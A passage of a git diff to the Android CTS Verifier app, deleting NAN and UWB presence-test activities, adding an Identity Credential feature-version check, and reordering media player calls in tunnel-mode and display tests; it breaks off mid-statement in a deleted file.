"License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - - -package com.android.cts.verifier.presence; - -import android.text.Editable; -import android.text.TextWatcher; - -/** - * Handles editable text inputted into test activities. - */ -public class InputTextHandler { - - /** Callback that is executed when text is changed. Takes modified text as input. */ - public interface OnTextChanged { - void run(Editable s); - } - - /** - * Generic text changed handler that will execute the provided callback when text is modified. - * - * @param callback called when text is changed, and passed the modified text - */ - public static TextWatcher getOnTextChangedHandler(OnTextChanged callback) { - return new TextWatcher() { - @Override - public void beforeTextChanged(CharSequence s, int start, int count, int after) {} - - @Override - public void onTextChanged(CharSequence s, int start, int before, int count) {} - - @Override - public void afterTextChanged(Editable s) { - callback.run(s); - } - }; - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java deleted file mode 100644 index 458d1920eca..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java +++ /dev/null @@ -1,271 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.verifier.presence; - -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.text.Editable; -import android.util.Log; -import android.widget.EditText; - -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; -import com.android.cts.verifier.PassFailButtons; -import com.android.cts.verifier.R; - -import com.google.common.collect.ImmutableMap; - -import java.util.Arrays; -import java.util.List; - -/** - * Activity for testing that NAN measurements are within the acceptable ranges - */ -public class NanPrecisionTestActivity extends PassFailButtons.Activity { - private static final String TAG = NanPrecisionTestActivity.class.getName(); - - // Report log schema - private static final String KEY_BANDWIDTH = "nan_bandwidth"; - private static final String KEY_MEASUREMENT_RANGE_10CM_AT_68P = "measurement_range_10cm_68p"; - private static final String KEY_MEASUREMENT_RANGE_1M_AT_68P = "measurement_range_1m_68p"; - private static final String KEY_MEASUREMENT_RANGE_3M_AT_68p = "measurement_range_3m_68p"; - private static final String KEY_MEASUREMENT_RANGE_5M_AT_68p = "measurement_range_5m_68p"; - private static final String KEY_MEASUREMENT_RANGE_10CM_AT_90P = "measurement_range_10cm_90p"; - private static final String KEY_MEASUREMENT_RANGE_1M_AT_90P = "measurement_range_1m_90p"; - private static final String KEY_MEASUREMENT_RANGE_3M_AT_90p = "measurement_range_3m_90p"; - private static final String KEY_MEASUREMENT_RANGE_5M_AT_90p = "measurement_range_5m_90p"; - private static final String KEY_REFERENCE_DEVICE = "reference_device"; - - // Thresholds - private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 2; - private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 4; - private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 8; - private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 16; - - // Maps NAN bandwidths to acceptable range thresholds - private static final ImmutableMap<Integer, Integer> BANDWIDTH_TO_THRESHOLD_MAP = - ImmutableMap.of(160, MAX_DISTANCE_RANGE_METERS_160MHZ, 80, - MAX_DISTANCE_RANGE_METERS_80MHZ, 40, MAX_DISTANCE_RANGE_METERS_40MHZ, 20, - MAX_DISTANCE_RANGE_METERS_20MHZ); - - private EditText mBandwidthMhz; - private EditText mMeasurementRange10cmGt68p; - private EditText mMeasurementRange1mGt68p; - private EditText mMeasurementRange3mGt68p; - private EditText mMeasurementRange5mGt68p; - private EditText mMeasurementRange10cmGt90p; - private EditText mMeasurementRange1mGt90p; - private EditText mMeasurementRange3mGt90p; - private EditText mMeasurementRange5mGt90p; - private EditText mReferenceDeviceInput; - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.nan_precision); - setPassFailButtonClickListeners(); - getPassButton().setEnabled(false); - - mBandwidthMhz = (EditText) findViewById(R.id.nan_bandwidth); - mMeasurementRange10cmGt68p = (EditText) findViewById(R.id.distance_range_10cm_gt_68p); - mMeasurementRange1mGt68p = (EditText) findViewById(R.id.distance_range_1m_gt_68p); - mMeasurementRange3mGt68p = (EditText) findViewById(R.id.distance_range_3m_gt_68p); - mMeasurementRange5mGt68p = (EditText) findViewById(R.id.distance_range_5m_gt_68p); - mMeasurementRange10cmGt90p = (EditText) findViewById(R.id.distance_range_10cm_gt_90p); - mMeasurementRange1mGt90p = (EditText) findViewById(R.id.distance_range_1m_gt_90p); - mMeasurementRange3mGt90p = (EditText) findViewById(R.id.distance_range_3m_gt_90p); - mMeasurementRange5mGt90p = (EditText) findViewById(R.id.distance_range_5m_gt_90p); - mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device); - - DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(), - PackageManager.FEATURE_WIFI_AWARE); - - mBandwidthMhz.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange10cmGt68p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange1mGt68p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange3mGt68p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange5mGt68p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange10cmGt90p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange1mGt90p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange3mGt90p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mMeasurementRange5mGt90p.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mReferenceDeviceInput.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - } - - private void checkTestInputs() { - getPassButton().setEnabled(checkMeasurementRange68thPercentileInput() - && checkMeasurementRange90thPercentileInput() - && checkReferenceDeviceInput()); - } - - private boolean checkMeasurementRange68thPercentileInput() { - return checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt68p, - mMeasurementRange1mGt68p, mMeasurementRange3mGt68p, mMeasurementRange5mGt68p); - } - - private boolean checkMeasurementRange90thPercentileInput() { - String measurementRangeInput10cmGt90p = mMeasurementRange10cmGt90p.getText().toString(); - String measurementRangeInput1mGt90p = mMeasurementRange1mGt90p.getText().toString(); - String measurementRangeInput3mGt90p = mMeasurementRange3mGt90p.getText().toString(); - String measurementRangeInput5mGt90p = mMeasurementRange5mGt90p.getText().toString(); - List<String> optionalMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt90p, - measurementRangeInput1mGt90p, - measurementRangeInput3mGt90p, measurementRangeInput5mGt90p); - - boolean inputted = false; - for (String input : optionalMeasurementRangeList) { - if (!input.isEmpty()) { - inputted = true; - break; - } - } - // If one of the ranges is inputted for one of the distances, then it becomes required - // that the ranges are inputted for all the distances and for tests to pass, must be - // acceptable values - return !inputted || checkRequiredMeasurementRangeInput(mMeasurementRange10cmGt90p, - mMeasurementRange1mGt90p, mMeasurementRange3mGt90p, mMeasurementRange5mGt90p); - } - - private boolean checkRequiredMeasurementRangeInput(EditText rangeInput10cm, - EditText rangeInput1m, EditText rangeInput3m, EditText rangeInput5m) { - String bandwidthInputMhz = mBandwidthMhz.getText().toString(); - String measurementRangeInput10cmGt = rangeInput10cm.getText().toString(); - String measurementRangeInput1mGt = rangeInput1m.getText().toString(); - String measurementRangeInput3mGt = rangeInput3m.getText().toString(); - String measurementRangeInput5mGt = rangeInput5m.getText().toString(); - List<String> requiredMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt, - measurementRangeInput1mGt, - measurementRangeInput3mGt, measurementRangeInput5mGt); - - for (String input : requiredMeasurementRangeList) { - if (bandwidthInputMhz.isEmpty() || input.isEmpty()) { - // Distance range must be inputted for all fields so fail early otherwise - return false; - } - if (!BANDWIDTH_TO_THRESHOLD_MAP.containsKey(Integer.parseInt(bandwidthInputMhz))) { - // bandwidth must be one of the expected thresholds - return false; - } - double distanceRange = Double.parseDouble(input); - int bandwidth = Integer.parseInt(bandwidthInputMhz); - if (distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) { - // All inputs must be in acceptable range so fail early otherwise - return false; - } - } - return true; - } - - private boolean checkReferenceDeviceInput() { - // Reference device used must be inputted before test can be passed. - return !mReferenceDeviceInput.getText().toString().isEmpty(); - } - - @Override - public void recordTestResults() { - String nanBandwidthMhz = mBandwidthMhz.getText().toString(); - String measurementRange10cmGt68p = mMeasurementRange10cmGt68p.getText().toString(); - String measurementRange1mGt68p = mMeasurementRange1mGt68p.getText().toString(); - String measurementRange3mGt68p = mMeasurementRange3mGt68p.getText().toString(); - String measurementRange5mGt68p = mMeasurementRange5mGt68p.getText().toString(); - String measurementRange10cmGt90p = mMeasurementRange10cmGt90p.getText().toString(); - String measurementRange1mGt90p = mMeasurementRange1mGt90p.getText().toString(); - String measurementRange3mGt90p = mMeasurementRange3mGt90p.getText().toString(); - String measurementRange5mGt90p = mMeasurementRange5mGt90p.getText().toString(); - String referenceDevice = mReferenceDeviceInput.getText().toString(); - - if (!nanBandwidthMhz.isEmpty()) { - Log.i(TAG, "NAN Bandwidth at which data was collected: " + nanBandwidthMhz); - getReportLog().addValue(KEY_BANDWIDTH, - Integer.parseInt(nanBandwidthMhz), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange10cmGt68p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_68P, - Double.parseDouble(measurementRange10cmGt68p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange1mGt68p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt68p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_68P, - Double.parseDouble(measurementRange1mGt68p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange3mGt68p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt68p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_68p, - Double.parseDouble(measurementRange3mGt68p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange5mGt68p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt68p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_68p, - Double.parseDouble(measurementRange5mGt68p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange10cmGt90p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_90P, - Double.parseDouble(measurementRange10cmGt90p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange1mGt90p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt90p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_90P, - Double.parseDouble(measurementRange1mGt90p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange3mGt90p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt90p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_90p, - Double.parseDouble(measurementRange3mGt90p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!measurementRange5mGt90p.isEmpty()) { - Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt90p); - getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_90p, - Double.parseDouble(measurementRange5mGt90p), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!referenceDevice.isEmpty()) { - Log.i(TAG, "NAN Reference Device: " + referenceDevice); - getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice, - ResultType.NEUTRAL, ResultUnit.NONE); - } - getReportLog().submit(); - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS deleted file mode 100644 index e8744995b6c..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/OWNERS +++ /dev/null @@ -1,4 +0,0 @@ -# Bug component: 1106357 -asalo@google.com -jbabs@google.com -christinatao@google.com
\ No newline at end of file diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java deleted file mode 100644 index 67766931591..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/PresenceTestActivity.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.verifier.presence; - -import android.content.pm.PackageManager; -import android.os.Build; -import android.os.Bundle; -import android.os.SystemProperties; - -import com.android.cts.verifier.ManifestTestListAdapter; -import com.android.cts.verifier.PassFailButtons; -import com.android.cts.verifier.R; - -import java.util.ArrayList; -import java.util.List; - -public class PresenceTestActivity extends PassFailButtons.TestListActivity { - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.pass_fail_list); - setPassFailButtonClickListeners(); - - List<String> disabledTest = new ArrayList<String>(); - boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK); - if (isTv) { - setInfoResources(R.string.presence_test, R.string.presence_test_tv_info, -1); - int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0); - if (firstSdk < Build.VERSION_CODES.TIRAMISU) { - disabledTest.add("com.android.cts.verifier.presence.UwbPrecisionActivity"); - disabledTest.add("com.android.cts.verifier.presence.UwbShortRangeActivity"); - disabledTest.add("com.android.cts.verifier.presence.BleRssiPrecisionActivity"); - disabledTest.add("com.android.cts.verifier.presence.BleRxTxCalibrationActivity"); - disabledTest.add("com.android.cts.verifier.presence.BleRxOffsetActivity"); - disabledTest.add("com.android.cts.verifier.presence.BleTxOffsetActivity"); - disabledTest.add("com.android.cts.verifier.presence.NanPrecisionTestActivity"); - } - } else { - setInfoResources(R.string.presence_test, R.string.presence_test_info, -1); - } - - setTestListAdapter(new ManifestTestListAdapter(this, PresenceTestActivity.class.getName(), - disabledTest.toArray(new String[disabledTest.size()]))); - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java deleted file mode 100644 index 5d1ff8628dd..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java +++ /dev/null @@ -1,100 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.android.cts.verifier.presence; - -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.text.Editable; -import android.util.Log; -import android.widget.EditText; - -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; -import com.android.cts.verifier.PassFailButtons; -import com.android.cts.verifier.R; - -/** - * Activity for testing that UWB distance and angle of arrival measurements are within the right - * range. - */ -public class UwbPrecisionActivity extends PassFailButtons.Activity { - private static final String TAG = UwbPrecisionActivity.class.getName(); - // Report log schema - private static final String KEY_DISTANCE_RANGE_CM = "distance_range_cm"; - private static final String KEY_REFERENCE_DEVICE = "reference_device"; - // Thresholds - private static final int MAX_DISTANCE_RANGE_CM = 30; - - private EditText mDistanceRangeInput; - private EditText mReferenceDeviceInput; - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.uwb_precision); - setPassFailButtonClickListeners(); - getPassButton().setEnabled(false); - - mDistanceRangeInput = (EditText) findViewById(R.id.distance_range_cm); - mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device); - - DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(), - PackageManager.FEATURE_UWB); - - mDistanceRangeInput.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mReferenceDeviceInput.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - } - - private void checkTestInputs() { - getPassButton().setEnabled( - checkDistanceRangeInput() && checkReferenceDeviceInput()); - } - - private boolean checkDistanceRangeInput() { - String distanceRangeInput = mDistanceRangeInput.getText().toString(); - if (!distanceRangeInput.isEmpty()) { - double distanceRange = Double.parseDouble(distanceRangeInput); - // Distance range must be inputted and within acceptable range before test can be - // passed. - return distanceRange <= MAX_DISTANCE_RANGE_CM; - } - return false; - } - - private boolean checkReferenceDeviceInput() { - // Reference device must be inputted before test can be passed. - return !mReferenceDeviceInput.getText().toString().isEmpty(); - } - - @Override - public void recordTestResults() { - String distanceRange = mDistanceRangeInput.getText().toString(); - String referenceDevice = mReferenceDeviceInput.getText().toString(); - if (!distanceRange.isEmpty()) { - Log.i(TAG, "UWB Distance Range: " + distanceRange); - getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Double.parseDouble(distanceRange), - ResultType.NEUTRAL, ResultUnit.NONE); - } - if (!referenceDevice.isEmpty()) { - Log.i(TAG, "UWB Reference Device: " + referenceDevice); - getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice, - ResultType.NEUTRAL, ResultUnit.NONE); - } - getReportLog().submit(); - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java deleted file mode 100644 index 7f14800b68c..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.android.cts.verifier.presence; - -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.text.Editable; -import android.util.Log; -import android.widget.EditText; - -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; -import com.android.cts.verifier.PassFailButtons; -import com.android.cts.verifier.R; - -/** - * Activity for testing that UWB distance measurements are within the acceptable median. - */ -public class UwbShortRangeActivity extends PassFailButtons.Activity { - private static final String TAG = UwbShortRangeActivity.class.getName(); - // Report log schema - private static final String KEY_DISTANCE_MEDIAN_CM = "distance_median_cm"; - private static final String KEY_REFERENCE_DEVICE = "reference_device"; - // Median Thresholds - private static final double MIN_MEDIAN = 0.75; - private static final double MAX_MEDIAN = 1.25; - private EditText mMedianInput; - private EditText mReferenceDeviceInput; - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.uwb_short_range); - setPassFailButtonClickListeners(); - getPassButton().setEnabled(false); - - mMedianInput = (EditText) findViewById(R.id.distance_median_meters); - mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device); - - DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(), - PackageManager.FEATURE_UWB); - - mMedianInput.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - mReferenceDeviceInput.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - } - - private void checkTestInputs() { - getPassButton().setEnabled(checkMedianInput() && checkReferenceDeviceInput()); - } - - private boolean checkMedianInput() { - String medianInput = mMedianInput.getText().toString(); - if (!medianInput.isEmpty()) { - double median = Double.parseDouble(medianInput); - return median >= MIN_MEDIAN && median <= MAX_MEDIAN; - } - return false; - } - - private boolean checkReferenceDeviceInput() { - return !mReferenceDeviceInput.getText().toString().isEmpty(); - } - - @Override - public void recordTestResults() { - String medianInput = mMedianInput.getText().toString(); - String referenceDeviceInput = mReferenceDeviceInput.getText().toString(); - if (!medianInput.isEmpty()) { - Log.i(TAG, "UWB Distance Median: " + medianInput); - getReportLog().addValue(KEY_DISTANCE_MEDIAN_CM, Double.parseDouble(medianInput), - ResultType.NEUTRAL, ResultUnit.NONE); - } - if (!referenceDeviceInput.isEmpty()) { - Log.i(TAG, "UWB Reference Device: " + referenceDeviceInput); - getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDeviceInput, ResultType.NEUTRAL, - ResultUnit.NONE); - } - getReportLog().submit(); - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java index d68c5b6d52a..316e15ad36d 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/IdentityCredentialAuthenticationMultiDocument.java @@ -18,6 +18,8 @@ package com.android.cts.verifier.security; import android.Manifest; import android.app.KeyguardManager; +import android.content.Context; +import android.content.pm.FeatureInfo; import android.content.pm.PackageManager; import android.hardware.biometrics.BiometricManager; import android.hardware.biometrics.BiometricManager.Authenticators; @@ -48,6 +50,7 @@ import java.util.Arrays; import java.util.Collection; import java.util.LinkedHashMap; import java.util.LinkedList; +import java.util.Locale; import java.util.Map; /** @@ -59,6 +62,8 @@ public class IdentityCredentialAuthenticationMultiDocument extends PassFailButto private static final int BIOMETRIC_REQUEST_PERMISSION_CODE = 0; + private static final int PRESENTATION_SESSION_FEATURE_VERSION_NEEDED = 202201; + private BiometricManager mBiometricManager; private KeyguardManager mKeyguardManager; @@ -70,6 +75,31 @@ public class IdentityCredentialAuthenticationMultiDocument extends PassFailButto return R.string.sec_identity_credential_authentication_multi_document_test_info; } + // Returns 0 if Identity Credential is not implemented. Otherwise returns the feature version. + // + private static int getFeatureVersion(Context appContext) { + PackageManager pm = appContext.getPackageManager(); + + if (pm.hasSystemFeature(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) { + FeatureInfo[] infos = pm.getSystemAvailableFeatures(); + for (int n = 0; n < infos.length; n++) { + FeatureInfo info = infos[n]; + if (info.name.equals(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) { + return info.version; + } + } + } + + // Use of the system feature is not required since Android 12. So for Android 11 + // return 202009 which is the feature version shipped with Android 11. + IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext); + if (store != null) { + return 202009; + } + + return 0; + } + @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); @@ -154,6 +184,18 @@ public class IdentityCredentialAuthenticationMultiDocument extends PassFailButto getPassButton().setEnabled(true); return; } + int featureVersion = getFeatureVersion(this); + Log.i(TAG, "Identity Credential featureVersion: " + featureVersion); + if (featureVersion < PRESENTATION_SESSION_FEATURE_VERSION_NEEDED) { + showToast(String.format( + Locale.US, + "Identity Credential version %d or later is required but " + + "version %d was found. Test passed.", + PRESENTATION_SESSION_FEATURE_VERSION_NEEDED, + featureVersion)); + getPassButton().setEnabled(true); + return; + } final int result = mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_STRONG); switch (result) { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java index 055f26f7af6..c0df10c996e 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java @@ -66,9 +66,9 @@ public class MediaCodecFlushActivity extends PassFailButtons.Activity { private void playVideo() { try { - mPlayer.start(); mPlayer.prepare(); - mPlayer.startThread(); + mPlayer.startCodec(); + mPlayer.play(); mHandler.postDelayed(this::pauseStep, 5000); } catch(Exception e) { Log.d(TAG, "Could not play video", e); @@ -95,7 +95,7 @@ public class MediaCodecFlushActivity extends PassFailButtons.Activity { private void resumeStep() { try { - mPlayer.start(); + mPlayer.resume(); mHandler.postDelayed(this::enablePassButton, 3000); } catch(Exception e) { Log.d(TAG, "Could not resume video", e); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS new file mode 100644 index 00000000000..4744ab89f6b --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS @@ -0,0 +1,3 @@ +# Buganizer component id: 687598 +blindahl@google.com +narcisaam@google.com diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java index 0163c62fcf1..c4461431b59 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/VolumeLevelChangesActivity.java @@ -209,10 +209,10 @@ public class VolumeLevelChangesActivity extends PassFailButtons.Activity { private void playVideo() { try { - mPlayer.start(); mPlayer.prepare(); + mPlayer.startCodec(); mPlayer.setLoopEnabled(true); - mPlayer.startThread(); + mPlayer.play(); } catch (Exception e) { Log.d(TAG, "Could not play the video.", e); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java index 641ab20846f..94ef5363424 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java @@ -221,10 +221,10 @@ public class ModeSwitchingTestActivity extends PassFailButtons.Activity { private void playVideo() { try { - mPlayer.start(); mPlayer.prepare(); + mPlayer.startCodec(); mPlayer.setLoopEnabled(true); - mPlayer.startThread(); + mPlayer.play(); } catch (Exception e) { Log.d(TAG, "Could not play video", e); } diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS deleted file mode 100644 index 8f076a82482..00000000000 --- a/apps/MainlineModuleDetector/OWNERS +++ /dev/null @@ -1,3 +0,0 @@ -# Bug component: 195645 -manjaepark@google.com -mspector@google.com
\ No newline at end of file diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java deleted file mode 100644 index 01c02c774cd..00000000000 --- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.android.cts.mainlinemoduledetector; - -import android.app.Activity; -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.util.Log; - -import com.android.compatibility.common.util.mainline.MainlineModule; -import com.android.compatibility.common.util.mainline.ModuleDetector; - -import java.util.HashSet; -import java.util.Set; - -public class MainlineModuleDetector extends Activity { - - private static final String LOG_TAG = "MainlineModuleDetector"; - - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - try { - PackageManager pm = getApplicationContext().getPackageManager(); - Set<MainlineModule> modules = 